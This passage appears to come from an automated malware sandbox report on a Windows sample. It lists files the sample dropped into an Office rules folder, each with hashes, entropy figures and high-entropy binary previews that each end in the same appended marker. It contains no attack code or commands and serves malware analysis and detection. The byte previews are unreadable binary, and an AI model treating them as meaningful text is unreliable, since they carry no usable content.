Preview:	.<?N.b_=PaM..N.1..........&..t.mvVG....g5..5..-(.K2T^....g.5...>...;.....u.!S..t..e^...GxnH.E.~W.m...V@...5f......=&..3......U....tY...Q..n..e.?......:;.2.v...._...P-Q+:.f.w...P.wT....].k>N.C...#.C...%..01......dy..w...>..GF_OQB.K....k.P"c6.WT!v.M...e....t.l...Bd..n....1.?....(.wD...).L.4....p4P.....}.;.l......P..[.H.I`..01..$.qN[G..=...W9K......,.Y6H.p...[a.>..."r.V.ci.<.....!6.g..'...\|.6J4..O.o.5"[?......)v..WY\.W.L.2....2~..9.2O$Ud..1d.Wr..r..3.tD.%.DD..FO.x-.a?D....h`.`.k...p........-.TPb..~.....".=9...MW.._\|....i.U...:t.....Y>.F.v.......>.3rH..f.._.O....w..Pq..(m{yG..l..q....A...w?.)....x..5k...jL...1.......@......C..r..M5..!T.UH.\.2yY.&.....>J/...#MJ..!....$.........SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.748575010283709
Encrypted:	false
SSDEEP:	12:0LqiW2dArtiABGPqblZiMbt0kF2Q/dQFmmfMPWhN1uz9/IgU0iRiBzkWms6F08Y3:9D2dM7EPqbyi0kF2Q/GT7hfgUsBzkWf5
MD5:	89C50A1ABE4887878F0351A57A787A46
SHA1:	EC038F3E7A6E62D9BCAAC1B7E2A60A0C1D6894D2
SHA-256:	73EAF7366B15BA33FA139A0B37F3EB085C735A011BD7E13E99AE546F0C97DA2A
SHA-512:	8E392739FA2FFA4F9005E7AAE05E043E49A481F7A499D53FD6FE3DBA3C28768650D15E1C1F41ED459370670918C0856F34A4854F46F71C273307BD8C53C4BA4B
Malicious:	false
Preview:	.<?..z..l...1..U...)..!.}.@t..\|}.......,#.?Q.KlD.U.T...]..4...p...puQZ.p.....S..e@a...8"A... .\.IU..ny....`.FC. ..t.....f.hOHd..[....F........g@.P..-d..z..w..]<,...s..B@.5>...5..+p.'.j9.N#..0b.e.....=.C...\|...c..__4..T.jz...Nw.U=...aim..1/.:J....,6.F.h),2e.........Cc.r..Y.#kO...5...O....G2.Y....Y!=.sx..y.[..1..........vn..s....@.9Og.y0H.(.......'J.F@p...I.".#.L?.\|NH........k.u.6..v.<..3.tU.L....}h..M.n.IN..O..5q...8..Kc.o.;#dT3D...=..O.....=[....RE.t.?....ro.Li....X..v..]._...Bp.w........Z.].r~..............^.s..]....b.=#kc.N..u.6..\.........\|..T`j......%...j k.s.ZW!q...+q.<+...D]..*....V..f.C...i..by0o......])..pQ.b....x..FZ@.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	833
Entropy (8bit):	7.742165389374091
Encrypted:	false
SSDEEP:	12:iS8QDK3TtAIKCKFK336SneB/6jiq5t7zwoO4XA/sQTxTDq8rsFd2+YxInJVdpv39:ieETfmGx86jiSW5/pdJ7oBpvqrcbD
MD5:	703C0D11ADEB373EA8598E6839E3ECF1
SHA1:	A56C63A8ED9EAFCFD369A19E620A85BB5783D0D2
SHA-256:	8BE9DCD40A1DE937876066E5C6FCB16C1064D9F13E8F7138B93C1F958DABB316
SHA-512:	35A908F282DDB3667A898C8CA94C27D06BFECCEF989FE29AD6A660BFD37C56734FFA398A45E316E42B2135620EFC82FF8571D278BC8A9A21306BA08D268EC6ED
Malicious:	false
Preview:	.<?.$w.7h.c...*.....c.y.SR...~..Uh....Z. .\8.>.:.O.+...L....z...."=)+9......@..,......c........h..g....b.\|.` ?.38.X....!.YQ........$....zQ.H.....h.....F.9.%.M.Xz(4.y../.J..(...I..^xZ..<.3bW.s..../Z.q..}Bl.\..k.WH..n..H".b..+'`.Y[&.j..>q..0.."f./-.JzdO.E....U..(S..Ul/A..u.?.4L....)}Se..q........m.fD3O...}.9F.-....j..rL.Vn...]"G{...........D...Z.<F....."I.]L...'.b.......Z0...t.....:.t..;.....Wa..xw..U.C7O.<1.q...>E....k.>v/..~\|.Y._ ....^..T...b.e.C9..<nE.%.[.....8........F.O...\.Q......V...~.\..9._...5$..2K.;AD.`..&.....}....g...F,.{`.].....+..Gw3.Q.....tv.;.l..q..M....r..1.3..\V.w..A.T..?1...:.}...v+.U.....u..9....u..4...Q....v.!1}<...=._<."....\|.ePo......x...h...V.......Cq.D../...E...{...}.\|..Zu..8-...c')p..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.6776605354341445
Encrypted:	false
SSDEEP:	12:rLnF1WEFN6jDQXBahv23ofvuRP3XjuzMi69+1cPtDn2kwM18tKeLpI1+cii9a:HnvWkYhvxcP3TC70ec1TwM18tvLpjbD
MD5:	E28A74EF2F8D03A7643BC76B22BAE0E9
SHA1:	CF73750DCDEB1D2AED73FC4026C5A0D2239A5AAE
SHA-256:	4EC6C926E891DA88A96330CCB9E2BF0C02FD95B53A4EB1EC4E2E408F13BDA138
SHA-512:	20E66CC4B904864F801411A9F15901C6335184095BC12CA23E4A2EFCC38B02BAA536F3A3E5F0FAB502F9BF45D85DA0E92846D91756923CCFBE60B4D36A45EBB4
Malicious:	false
Preview:	.<?..p4..Q..H..p<*..g..K..n....(r.d..?9C.......p.M..3..!).gY."M.. 3...{%.).M.3.(.qpzQR....Ks6.T.....:...W3N.^..1S.l..n.Wp....urs!Q}A..e>...~re).'6....3...N;.R.....,o...mW./.....r:Ik.p...u....t.5....c....TY.......D.}..!=...p.W.r......).r...o...vQ.....EkP.o...\8X!..].......v.V..`.]..@P.e..c.....v..n.....Z.u.... ..N..p.j.5..#...3...%m..r..#.r.}.Zj....F6.?.A0...)<......X...`..&..A! ..?...#....M...].& ..N\wjxy.7..c...#.\|HG.OX\.[.....L.u.WP....4.j.U..l...`....a3DX..B.o...j......B.rS.h./.>!.i\|.7k.?.I...d_'.R........MG..'GK"DU\|.&"...n.9..J?.\0c.....+.^#...=..A...b.D.n.#........"i..{...Y.....M.....M.=...~..q{._.g9.g..[n.a.J.".1Z.RL..hM7"SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.723534978467957
Encrypted:	false
SSDEEP:	12:Bv5sEzUlkQ5rgpu7X4f8ONKkcOSouaactocaM8P5iwDsd/1aGVOjT3CISNrFtf14:BvzYbpEsXvPNaaCtc/Y1ujDJatsbD
MD5:	F47066B27BB964E28544B5F011D421BC
SHA1:	449AE8F21043A032531D48E2A11917ECFE5A7646
SHA-256:	6DB890313F15D48A8A5EC20B999044F44388602BB9429AF390A041146AA1E25D
SHA-512:	76407A1A6B512E32C79203F555FFEFCB71F52D279791EF95F830BD8317BEF085F3E2A5F9B66F1D8D6559E12768308AB7192A122E83059D2831C5930968ADA2A5
Malicious:	false
Preview:	.<?..;.}o..w.....p..o..$.E...`N.U......E.6$.[W.2....w.l.>\|.r.b..m.O.....vI~..(!..g.7.....w.... -u..!...7F....A.9.Ve.`.Pb.U..`.8CX..7W'.mCh..l...u..q...&.QaV...{.F ^^[LKM!.2.......:.. .YP...\r.............'.Ng...3%.O'.p..j..Fu.w.\........{.....6....$+,.sE...E...ZV{.x..X.._.T..7f.._.T=ro9.#.,;se.aE..;[...d.Aeh...q.4...........O:P.G5.}y.S..J{....'gq;?.M...3..C...[..En..Mb/.=...tX7I.V...-..\..c.4<..8..J:..$Z3.w..2...2k..rD....%.....u^M...}#.V...)I..i.[.4....3...=.....O..L..D....i..A....}+0...g..........^..Y.G>..LNG..>..i..._.g..N........l8..."{.ys...>.2..C.Z!+\n.pk..v....1k....=be.. .....T.0.2A<.tC..6....^......-M.......^...@...-P.=Fe....._..+.T..O8ME../)w.dwy...bE.B....P..w/B..6p....rSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.709434545557192
Encrypted:	false
SSDEEP:	12:L63AX+FG6BZFfhFMZpRX8XdRBdFSqwdB56XFrgPNi3SK6CMshEL8TCW1+cii9a:W86zWZpx8XNJwdB5Q4U/TObD
MD5:	0324E470A7C40170B68D91D1C8B8E045
SHA1:	30EB9000095697A0E2AF6C6EC91A311CA523B2EF
SHA-256:	02DEBFCFF6D478837234CEC013D2FFF4D0F12C9D115A326BA8808864EACDBCAC
SHA-512:	54BA07604CA9A365636A4AECC6732E2173553A6E7C654DAAF6D1A5F85D4EEAD0A2235AE6F6EBB393E8208BE7FAE963220DF55EA07A97365CF71874CAF78BA382
Malicious:	false
Preview:	.<?.P7.t..W.g...#k..=#.3.......@..~...W.P.D.$...\|..p...2].<t..8..!zb.9.......!.j.0G.g.i&C1_.K......UA..G....#..L&.[u..fk..-......_c....1...A..........5b...5..........O..&....5T..!...:...6.8.D......t=B[....S;...'..i....h.M....Fb9u..i..)k.......niG.P[.Jn.G..(...t+...F.......x...,.<)..ujhoU..0.F~.L....M,s.AW@y.h..'..!y.........>./.!.2..pD.X\|.\|'"....vo....7'..3.......G.....KQm#.z<.e..".........r.*.. [6GTE.Jy..Y.v.~.S.I.r..)../=b..E...4..0..2.H.".[."........H7.Gy......E....1b...Z.......k.BAcUw...:.:.UY...gNv.f.,......IC8..kYu..)......9....u9.u.;..<8..T...ZH)..9..c.P.C.z.@.}._.`.Q....zM........}.#A.v.,.<..o...O....Y.OV.>..)/.JO...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.719837489187587
Encrypted:	false
SSDEEP:	24:LlQ/4kI2U/2y4kt5IEhyubEZTFFfsR9aqzCujtR7bD:LlQ/4kDU/2mt5ByuUPfsR9aKCGR/D
MD5:	653DD0139F1D4B149E3F5E57CD2EBA6C
SHA1:	D563A5310EBABC19D1AA33F14814CD3071852118
SHA-256:	C5E68B9EF5A8CC5C5538FD914A2A7CE0CC0D98BEA18A4ED9DE821E8C10613BFE
SHA-512:	BDBC7BBBD8E29A1A76EDA321C70E2F7F1B2DB119A7323391F708BB2AC24CB5FECAFF31A4F2A62D5CB410869BD60553FD045A631CA59DB164EAED8B1521B0D40E
Malicious:	false
Preview:	.<?6Q....+{K..V..Aw.]]...r.!...uK...."..Y.R.d....p.._..d&$.:?[..9E..R.,./..?l.....S)LQ...O...NQ....-].Q..a.........(.....?)-5n.f..%@..;@.....7F.. ... .a.Q.4.....].gDI...U..j...'.+....".....m.r........@...B.lm-...7.V..`....d....83v.h.X.4.9...(S..n".r.,.S.........!......B.}.n..m........d.T....O..xI.b...O@.6!S.I+h......[-.u...gqn.4...d.`.....6Oy.d..W.?......{./o...e..s.8:....u!.x 0....._.?.o....2...........,5+..oa.;...........o<.&.....y....y......X..?..2....XnF...o.!a..+.mSS.Z C..0^...G..t.L7.x...4../v...b\..S}!.}......~....-_A'.I..F.!......K.f.Y\...{.!u..P.z.....S..1.N@.}.../$..V....s...4Y..NL..2/'..RC..'..p...v.U.]@.G.F..'F.5...:....=b.Wvb.)A^.....<t.Cvu4..H....LV...:.Gu.FL^..I..D..t...C.d.....M...*...H..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.714612353544358
Encrypted:	false
SSDEEP:	12:vW14yBpZO4Y5maOcL2LrSdpeyEaHI1W88bfeNBFKziAFpZjxbUeNGf1+cii9a:vWGyBm4YPO7QpeyEao1W8Krzi8nxY6G+
MD5:	3B33404EC98DEF7C700223634E0C4125
SHA1:	7D2453726B632AB4CA02918C2E0B7C1CA26946FE
SHA-256:	0B27FD38A5ED05591A00E37A513BB2A16D58A81DD4D4F33107208135FA49F980
SHA-512:	39C341673AAFEA05CAC354A19D05618CCB99492B9EFB823521A3C103070CA3540E365BB798107F188D2ED9073826A3B653C6DDFFE6D51498AEA914E84992DE2B
Malicious:	false
Preview:	.<?.$9.:.t..,o9m.p..d...IOs...<]FY).K.0...~e+.....(.Xn..S..W...i..f.a^....O..........}.x.....O....C+q....d#9t"!X.?.r.<.VD..:<Sb........}.HM.}..Nb.]T.Y.x..X0..CA...;}...M.'h.$.O..F.9...Zs....yS.8..3....#...F.W.. ...L.....}..6.?0..X.B9...u.Y..F.?."...s@cy.].g....I.q.`.z.$...AT......ua....FGQ.~.x...J.,.u...6.@n.....*S\0f.;%.....&.7V..e....{z...b..P.h....%.?..Z..M}..)A.;.`q..l@..9H...o.Z~..U......x";..b.6.g..+z..zV..U.....]..n\l.g...?.....pr{....X.j.VE..\....i.Mqi..7..K.2I..x$.~.'V..&?P.....u$vE."dm.](....".i..mS@.G..X...mR..!../k....x....`b[..b6..n]F#..C.T./..%\|... ...a...1.r....4"{..A.......,....\.&...Gl..Z..{......."..7;.Rz.'.(.......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.745299024456659
Encrypted:	false
SSDEEP:	12:gsWQO9dlXrSBgiJ9q3myjavfnycIZ0FoOkskkEj3G9V3YjNdJ4JrjDy0KeJlDK14:47lXrSLi3oCZnskkEzi4NnSrjrJNRbD
MD5:	BF4296C6C5191903E88063C0DC9410E9
SHA1:	7F447AAD77A0190D47E75FBC573E77348D592444
SHA-256:	7EE11D430814F9225249389DCBF117CFAC7732CE62B0B03AB58D0BCAD7B67093
SHA-512:	9E09C3FEC5DD128226B1A0767A726FB6B8CF5E5E0B23C34A4764B19B68FA909AE74F6F9F011AE63F4646DC3FC463598F16BF6865A2FCCC227520662042BBEE74
Malicious:	false
Preview:	.<?....Y..#.i...\|$.d?4.]9.....l..HB<..4[....N.u.v....<.u$.K.^.<....b1j.<)....<,.....NL.....w.rk. .............F...n..J2R.Tv,...0.j..=yPz...h....'-z.75.n.R.. $.\15..9,.........?......().w.......G..A6\U..7M.l..o...=7..1K?.$+.)k.."U1....q.Un.H...6.jp..n...+..\|.....!R..G..J'..i...gA..p..\|.Uv.R..:..!.,..x.R.Y._...&u..0c.E..^.....r..g[..T..j...?......D.....i.P,......y.E.Z.i9~)..'....q..>R.)...3X.R...e...o...I..OR.5b.U$.1...$.eh6..nA......}...C<..._..GBY.w."..\|..JD&..r@s.Di)...yE.g.J4^>}..fE....f...Ty.1....h(............Z.A...5..#...'.}...*<E,+.}.= ...5.K.}...>..C.-b\....x.....h...8<Mwz5TTD!N..K.)...F@.Ftq.?g[........PZF..p;...B..^u......{.m.cU}gp.R.S..3...Id...Rc..C...Bc.@.G...o.f...@...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.7485575042866115
Encrypted:	false
SSDEEP:	12:ayR6FTob3HKNvIty+0gtNdurqWMF+b/yJ1FUYFOuO1c/IaR+hrT87cNVSenBDfie:ZR6Fkb3xty+ftvurqXAjyjFIuO1c/b+J
MD5:	A2AA5B30958DCAD9B94301AEB2967634
SHA1:	9CE4CB779B032E8A06BBEED3F9EF3738C005E017
SHA-256:	4225C1F1CFED9F41D5CDC9A4ECB9DC46E5B5D0B83A73E435A7AF9E2DFD8A333F
SHA-512:	7A394D1E28D8514F9DF047AC5F5D16B89C88A3A9EC20BB866F10DCC5BDB0F490CF70721936509382CE01BF16E9F759B924ACFC207A5F54A90F2114CD599D1576
Malicious:	false
Preview:	.<?..J..g....b.&....t.......T..kW.@...YZ..U....R.....q..4....r....SC.r..3?......~].....pF.Yeh.]C...u...%.......z^c....S.M. lc.[...(Tfq#s..B.n....,..#...uu.8.Q..Gss.^N/..>.....;..@7....T%._..1L.T..i.`.....x>....!i!.^;......lL..".&.cN..\TO..:%s.Q...XP..x.k..?E.yk5J..A.t...'.T:.Jk..l..E....J.i4[\|FO....\l.[.dr.....%..( ./....k............L..;..Z..}.Kc........6....`..y.6.a^.\|s.. m.H.:....0~_....z.(b9...V...Mv.[....u.1..`..=G......J......;......\..].o+...r...JW.~o..............D.J.....4d.t] .F..w....{....^.........R,.....K.z.+.,.R.J...?...$..G8.,...........t7.4sg.;._.l...$.....k!.g@.....:.ip...M...j.L.....W#.R.Z...1..6VP..c...3.........S.{.k`..3nSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.763063869399758
Encrypted:	false
SSDEEP:	12:F+TT5GPvcM4fGo95LX3n9pi44uyVs5IeiFvaelLwX/qXPcn86XjICS2HbMV1+ciD:F+T1GcMv49wcyV0IeBeZE/7n8KxSKbD
MD5:	0E19C5DB0A8F4C497DDF1A423E20056F
SHA1:	D2C85DBB4D67FF5BBA84E73BAB0FD239B4B63E53
SHA-256:	24ACA4C27A8D04EB48CB2DE228BA280F6CD0EB31AF2A4192ED1FF45B4659B26D
SHA-512:	84B9AC44AB9C80AB44D6AFDEF2D77CF304F663E22A3229C6DEF792819243FFF40A70D6061DFC754A59412CF34E94948DF83CEDC553E02EC6B5EC971AB1A866A3
Malicious:	false
Preview:	.<?...sv......n<i..^.>.-.V.Dp....:.5S.A...W.......W..]^.I.YR.:e..%e!.Jz81r..C.B....a.Tp..\J$..gy. .A}~.V,...7.().-.....%..$....A..@O<@.Q)......+.m..K.B.4hqg..i.q.a!..;.U....C.....C........RU..#u...\|....T..F.s.f.9.=..w......U.#C.=S...$n.8....H..G..4v.+.)M..o......!.W.Y.tl.f.!Z....\|{M.%V.......8$.....(.a_-..t.";..?.i..A...M.(...o...._.OV0...p 7..Q.[3..; .<.M.n...5.j3g.A..Dg.+.^...V.;Cb.Z.8..SE..hN-....>...3.......>y...x....Q.....2G.4E........7.c.K..9.X...gH....]TOd.....k.._...H.p,..M.O.Nl...2u\|.u....x.\Z&.....]..]..F5..A.6.{..}w...y7&.V.....i\|.+{...W....I.P\|..f.:K;_.6O..+.s.^.jyA..w..,.....5A.b.b.s"...b .....#....a.S...`%...}.,.N...5...F.....=}...i..F.......^.....q.m.B.#/:]...SL_.&..23.....H.j_W..'....o{SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	757
Entropy (8bit):	7.736183811217892
Encrypted:	false
SSDEEP:	12:LhdIWZchmcoz+hF/jytfDiStsUj8eQGcygeryIVvNeS+hm9origSuQExKGB+qhDf:LtqsFz+hF/sfDiSaUokXAmyigX97imrR
MD5:	6D7DF96F1470084A0A8CFF7963B300A2
SHA1:	1DD0F2A35CD6FE9BBE411E5C16197D6862823138
SHA-256:	27E1072075BF7A2043FFC5FD8812C900F22B78C9ED4570D0ECE07941C8531B40
SHA-512:	A27D348FED4B741F659ACC8C5841CBBAF6C21EC756827656F7B9140B36E52696BBE204DD1B5EF172BFCD7C345AA7822E1620C70E041F40D9ADD4004CD2036636
Malicious:	false
Preview:	.<?z.'.FuJ...:f7j..@h8.0..t.5...l...#[b..P..gN...I...?$,."..\|..R.I]\|a.;.D......O......y..*..0V..Bl..2........w..+.....M..S....._`.G.ri..6...!.rW..L................q&/0.z/G\.].W.$nL.....{9..6 ..4>.I....b.E.....O^..G..Tj.. f...P..h.tN_.cw.,.S~.5..(t..KW..m.^U..{..=r..2..#d.X.]....Y..IdwS.Q....z....Td..W.SS/................$)R.@$OJH-....7y..e!...P..<.2.9.z]Ud.kn<...]..1(`....tpI..vlV.[.}.v~..i.0....dB=r..C.H..e.\|.X.j.....6me.7..Mj..j&.Z..a......e.X....lz......2..)D..\.1.4...Jp.}...Q..\....^.-...e...@....!^?..H...uh..P/../..p.....D.t....(.V..../.w+....i..[..."..S..i!...%....i.N..R...c...kgJG..0q.E.`....zI.....jZZ.2.4,^.s@..{o...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.723985144880037
Encrypted:	false
SSDEEP:	12:gnpRGQ914Xri1HsXEDZTFpsFderYmmw9cIJY5VJBi+sZEZI2X71+cii9a:gnpRGM14c3xYerkOYTJ+ZmI5bD
MD5:	2BBD140347AAA66150FFEA832377DC07
SHA1:	07EB4F881CEF60ADF45777B35AD182529D7D82A8
SHA-256:	16A1824DDB632C7B5176CAAFFDBB72AD2F4B64FA6772C42DC4549EE7A13AFC4B
SHA-512:	22C21E98B1A7C6E9B96988C1731BEE74899E354689F19EA3CB2694266D466FFA69FACBC0748C0661FC16ED8A82BBE607DE116E948ED394F88355DB6429B2764B
Malicious:	false
Preview:	.<?..'...]t.,d..J.!...EO6...V.?_-.qLX.N,.DC......)...t....C..=1....e$.%...wD..7....'5xfq.[.a......,.U....i...F..D..4'..K..p.sa..5...K.....H..l. KE7.jX.]...R.Z.?/jO...p..d.z......f..!x.W...@.Wr..us..@..D...p..ql....-....[....V.Wje..(.G..g>.H')-..5.`..^Q.c%3..A...q+...Mh-J..]S..9....%.!K......L......'b..p......1...G.N..GV.R.......dX...mA....P..o..;.v.St;...%1.oH...n...l..O..............yk.>;.s.r.W.6.).n..7P7X...o..]..#&...]..;}..h....._Fw...!c<"R.t.4x...d:.....{..g..S..L5+d.E.....X...C..9P0E;.2.pYjil.n....v.4.u.q.....t...&.b%\|Z.U.(m..ff...)...........2...W.....4F<R.b8..o....Y<.. S.g3.9w.Z...N.#<evQ.....b.H.^....J.......w@........".I.....*N.'.".Ys...4...O...{.0e.P..n...M...'p:...nF..Q8.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.640553305576717
Encrypted:	false
SSDEEP:	12:WOYX7anxNKzHyPz5lLEpY1lGYpjLDC0kdsO2DjXDajlOtT1+cii9a:WOYX7cNKryP9JqY1lGYpDNO2DjmZOtgX
MD5:	7F89BF4089DDCF53D7BF89F7F9C943D9
SHA1:	847C07046F6B1722A21DB73DF733F9A253E38FC2
SHA-256:	42D423D59859AB99DBBC6F38AAC9196E859DE060058FDA634EA8FEF3A4DE8DF2
SHA-512:	6FAFE97368D263BE19433C50F8A5A0C9FAE756ECD638228D553EF3DA49FEB900528833D290B3321AE88C0D1F63B3F22A73301C06CC1E0464E361E6EB728CE637
Malicious:	false
Preview:	.<?...L..X@H.....x."..%....4C..x..=*"0...]B.....!.f.s.......8E......7o!a..%.<.Y.M...y.PVe../k.....3?...v.N.JPN.HJN}..'5....".."m.T.....P9.mz.......=...n.L?..."9>.7..7.~.b..](....\|...m.e.]..m=....]?....K.VGh.b&.......".=.2..Z...c....&q.u.&...U...GF.M..6.) T@.....%.$...N2.o....9...%.G.4.(.].......~..N.z$G..l9I..V...E...o....g....!....Y.i.77{..i.Mc=,....L.3s.j9./.$....u.^.s.oO.g..Z.$.ev(...Wa...0..]!.8.{..k.Vk..![..T0$.hi..fc...........B!.0.XBa....A@.F'..Y29....a\.U.......1...h.VP.z..#I.>N.?@..l..@1....8._..j8.......q..].J..n..&@SXU..S..U.2.O.@..9c,gef$.m....F.lMf?.-io4i.....CJp......C.J..l.....?.[a%.O.2J..GQ$...Ry^...$...)a.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.71712936990735
Encrypted:	false
SSDEEP:	24:UO/9S/b71JekZX5WayqjwZ1eZbQzBdI4RM57Oahc0cbD:H/w/bfJZJXVm1O69M59n2D
MD5:	2ECD5EBEE3464447747E0E8D58ECF997
SHA1:	7FA425EC5087494997A639B0882606E7D5179FBC
SHA-256:	CEF5410D4BFEC710B2296C99764FF074858A21D2764E1C2C31BBA202CE3712C3
SHA-512:	60B6CD89D59AD38B94638D71DF90CF5D269BFB134216483572F7F36CB39F92488FA4F97943E5E4A55F65032C16ABDC1E5F0248A7D8E5C0E7575969D9ED85E70F
Malicious:	false
Preview:	.<?.f.U.....&..k.O.5.....(k...rS..ErB1...c..).#.J..w.....gz.T.^6ZPc..C.0F.."..EB..Rq.#.#\..OyCw.V....jG9\|.O.......6...u.3...R{.._^..(.Z.8z.f....16..UeB.bd.S.l...5..J$.L.-.4.5.v.J..X.....-..#.6C.Y4....(...o.<....P`Nbd)p.}.d..;D..f.e.......m8_J(.g.Z..\..i..HH.w.p..=\|....Y.\|.~.7..2....S.Oj..z.q^..4........'].q.R..T....i9...;....5...L.Yr...8Q........m.97......k=Wn.I.l........).?.......H.....$....<.$H)4..i.P.n.....q2l...\|n.X.`...z.E.q....t..D..^.-.$>..M..O\|M.3..._...U.8..z^r..!u.+W.. ..a,....0{...J)3.....]{#....5m.....^.F..\|.3E.;P4h.5.@Sf.?..k8..+..DN.i.....5..>.R._...i.......qr.d.c.]P"..). 4/.0...M!>.A..j.ZAD...b...M"r.M*..].....x......(.T.hW../.cx...Y..>..IV....5K.n.l..I..t...T...{....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	734
Entropy (8bit):	7.713818238651226
Encrypted:	false
SSDEEP:	12:xu34+unXzKDlmj8G725LPYxcPpCr+Qs/kezdS+cOt5MgBbEGEGseOVlnI1+cii9a:N7XzOlmjH7SgxcPoy8ezd7Rt5MgBbeGU
MD5:	4ADB674E97F6A04A01A9E42BF0257199
SHA1:	D0BC73B39ABCE138C4EBF272887626814BD62103
SHA-256:	B46F67578000C0363DC9599BAAD0742E55F103E89AA83AE52E3F0DB06CF39570
SHA-512:	D57CDF9D2A07E46B83620A1ED6B7C83D24CB9A3AE2AB803D9BB55D7FF1CBC2897EB3F0D3D163F324EE397FDC015DDA98310F17A19B0304BD823C599FA4EBAD92
Malicious:	false
